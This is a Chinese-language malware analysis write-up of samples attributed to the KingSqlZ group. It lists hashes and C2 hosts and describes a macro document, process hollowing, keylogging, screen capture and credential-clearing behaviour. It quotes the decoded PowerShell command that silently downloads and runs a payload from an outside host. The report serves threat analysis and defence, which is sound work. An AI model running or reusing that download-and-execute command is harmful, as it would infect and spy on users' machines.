【技術分享】針對KingSqlZ組織一次攻擊的分析報告

一、|0C
1.1 Hash
本次一共截獲了兩個和KingSqlZ組織有關的可疑樣本,其中有一個是一個doc樣本,通過使用宏進行文件傳播,IOC如下:
- 樣本名稱:4fb43047463380ae25cb7684433f6a7e4f4b8b1669048291aca20182877a2810.doc
- 樣本Hash:4fb43047463380ae25cb7684433f6a7e4f4b8b1669048291aca20182877a2810
- 樣本類型:ole文件(帶宏)
另外一個是一個PE文件。IOC如下:
- 樣本名稱:298ee13829733e23557b5f0db3d93768c0665260be17dc9010288d33ca6fe77f.exe
- 樣本Hash:298ee13829733e23557b5f0db3d93768c0665260be17dc9010288d33ca6fe77f
- 是否加殼:無殼
- 編譯語言:maybe C++ Visual Studio 201x or Asm demo/example [DebuG]
以及這兩個樣本釋放的其他樣本的IOC(不包括內存轉儲):
- 2d69c9a9622b9b812db1833caec237995eedd0dee59ece53bd359e7083023f47
- 9211473ae545a0248b4ef4bb1bea1acffc1ec85ecb42194984266416720a7f73
- c242bfb6aa6d47087d77d25955bd48a5421fb0353049828ec99d44e119874b7a
- 7a01dd19b5a74e7023d19a19065f49fb013c9f0f7fee974d717d46a8369b8e60
1.2 C2
- http://www.gestomarket.co/ylqrg54.exe
- asdfwrkhl.warzonedns.com
- linksysdatakeys.se
- 67.228.235.93
- 187.136.91.177
- 187.155.84.184
- 31.13.73.17
- 67.228.235.93
- 31.13.73.23
- 74.86.228.110
- 187.155.84.184
- 69.171.239.11
- 187.155.47.67
- 66.220.147.47
- 31.13.86.1
- 31.13.75.17:2404
- 備注:這些主機本身不具備相關性,因為他們都是由于被該組織滲透成為該組織攻擊的跳板
0.2 行為分析
名稱統一使用Hash的前幾個字符加后綴的方式命名。主要操作是遠控類木馬。

0.3 樣本分析
0.3.1 4fb430.doc
是一個doc宏病毒樣本,通過使用oledump獲取其中的宏代碼。

發現宏代碼被混淆嚴重,去混淆結合沙箱的結果推測具體行為如下:
- 宏代碼調用cmd,解密其中的十進制數據。
- 接著調用powershell。下載massive.exe
- powershell.exe -w hidden -ep bypass (New-Object System.Net.WebClient).DownloadFile(‘http://www.gestomarket.co/ylqrg54.exe’,$env:temp + ‘massive.exe’);
- 運行massive.exe
0.3.2 massive.exe
首先這個樣本是一個C#程序,使用ILSpy查看源代碼。

將程序定位到關鍵的地方。發現這個樣本也只是一個外殼程序,用于從攻擊跳板上獲取攻擊代碼,然后將其寫入我們的內存中,從內存中執行攻擊代碼,實現了無文件落地,有效規避了查殺。


使用進程替換技術,先創建一個和自身相同的子進程,然后使用進程替換進程,執行我們的攻擊代碼。但是由于C#不好被調試,所以將其子進程轉儲得到我們落地的攻擊樣本如下,命名為DumpFrommassive.exe


0.3.3 DumpFrommassive.exe
創建一個互斥體,然后獲取多個API函數地址

接著判斷是否是X64系統,然后通過注冊表SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName獲取系統的版本信息。

當判斷是xp系統,就去獲取HKEY_CURRENT_USERorigmsc數據,但是分析機器上未發現這樣的鍵。

利用注冊表HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem 關閉UAC通知

通過當前的環境變量獲取特殊目錄的路徑

獲取目標進程的相關信息包括模塊和32/64位進程,這個進程是由于注冊表中的數據決定。

由于轉儲很多靜態數據丟失,過于細節的數據沒有辦法復現。



由于該組織使用滲透的方式,得到多臺服務器的控制權,讓這些服務器充當此次攻擊的跳板機和C2

通過設置鍵盤鉤子的形式,記錄鍵盤輸入,和剪切板數據




創建新線程,執行截圖




創建新線程進行音視頻傳輸

清空主流瀏覽器的COOKIE和保存的表單(賬戶和密碼),這樣就可以在用戶重新輸入密碼的時候記錄下來。


獲取用戶名,機器名稱,主要是識別作用

關閉數據執行保護DEP

執行后門遠控操作,主要的行為有鍵盤記錄,截圖,視頻,發送數據,聯網下載數據,檢索服務,創建開啟服務,程序執行,傀儡進程,提權關機。
- 提權關機


鍵盤記錄

發送鍵盤輸入數據

安裝軟件信息,并發送

從Internet上讀取可執行的shellcode,并執行

獲取進程列表

利用管道實現和C2之間的數據交互

截圖

鍵盤區域

刪除,清空文件

清空COOKIE和用戶名密碼

音視頻


從Internet上下載數據并執行


獲取服務相關信息

綜上,對此樣本定性為后門遠控類文件。
0.4.4 298eeexe.exe
- 從http://www.gestomarket.co/hqpi64.exe下載文件,并執行

0.4.5 2XC2DF0S.exe
- SHA256為2d69c9a9622b9b812db1833caec237995eedd0dee59ece53bd359e7083023f47,查殼是UPX的殼,ESP拖一下.

主要使用了SMC技術

根據動態分析,可以得到樣本創建了fyhgzmilgyvvgdu.exe和「開始」菜單程序啟動創建fyhgzmilgyvvgdu.eu.url。創建url的目的是實現了fyhgzmilgyvvgdu.exe的自啟動



創建自身子進程,并進行進程替換



dump出傀儡進程的PE數據,命名為DumpFrom2d69exe.exe_


0.3.6 DumpFrom2d69exe.exe-
- 首先樣本會先鏈接到C2服務器asdfwrkhl.warzonedns.com,當確認鏈接上asdfwrkhl.warzonedns.com,此時會從C2上接收數據


然后將自身路徑寫入SOFTWARE_rptls注冊表中,但是注意的是這個是從2XC2DF0S.exe轉儲出來的,所以原始的模塊名應該是2XC2DF0S.exe。加載資源文件,然后有個函數是解密shellcode,然后在把加載入內存的資源文件作為參數傳入,初步懷疑應該從內存中執行。這樣有效避免了查殺。將資源文件命名為Resource.bin




直接就是一個后門程序的主體框架。主要包括三大類的功能,第一交流通信,第二,下載執行,第三,信息記錄,第四,測試退出,第五駐留操作。

第一:通信交流



第二:下載執行,但是由于分析的時候,沒有處于攻擊窗口期,所以沒有辦法了解到此次下載的是何種程序,然后加載了一些網絡庫,運行時庫



第三:信息記錄,主要是鍵盤記錄,和常見的手段一樣,使用了鉤子技術,截獲用戶的鍵盤輸入,并記錄按鍵信息,把并發送個C2服務器




第四:結束退出,也就是,斷開連接,終止線程,刪除自身



第五:駐留操作。包含了釋放資源,運行服務,添加用戶等




0.3.7 Resource.bin
- 釋放C:UsershackyAppDataLocalTempdismcore.dll和C:UsershackyAppDataLocalTempellocnak.xml


然后調用C:Windowssystem32pkgmgr.exe,安裝安裝KB929761更新包,可能目的是排除競爭者

0.3.3 dismcore.dll
- 讀取SOFTWARE_rptls的值,這個是其實是2XC2DF0S.exe的路徑,然后截取去文件名。檢查進程列表中是否存在這樣的進程,有則關閉,然后在重新創建一個進程即可!

0.4 yara規則編寫

0.5 后記
學習樣本分析兩年了,從最開始的簡單的蠕蟲到后來的勒索病毒,再到挖礦病毒,再到現在的APT樣本。總結一下,樣本分析最重要的是心細和心誠。心細不多說。何謂心誠,心誠則靈。對于樣本,我們也需要有敬畏之心,需要刨根問題,也就是說,作為一個合格的病毒分析師,首先你需要判斷文件黑白,但能夠辨別黑白也只能給你打60分。如何成為一個優秀的病毒分析師?在于刨根問底,在于洞悉原理,不是簡單的知道樣本執行了什么操作。肉眼看到的僅僅都只是表面現象。就像這個樣本那個宏一樣,肉眼可見其實釋放了一個exe,但是他是怎么釋放的呢?你一概不知,這樣你可能就失去了一個可靠的情報,或者說你很有可能憑借這過于自信的判斷。導致你對這樣本的判斷是錯誤的.但是這對于用戶來說是致命的。
專科學技術,本科學原理,博碩學辯證。對之于樣本分析同,僅僅是懂得辯黑白僅僅就是專科的水平,不屑于言之,若能明曉原理,可達登堂入室之功,最后是辯證,也就是知道為何這樣做是可行的,這樣做是不可行的,不可行之處在于何處。以上與君共勉。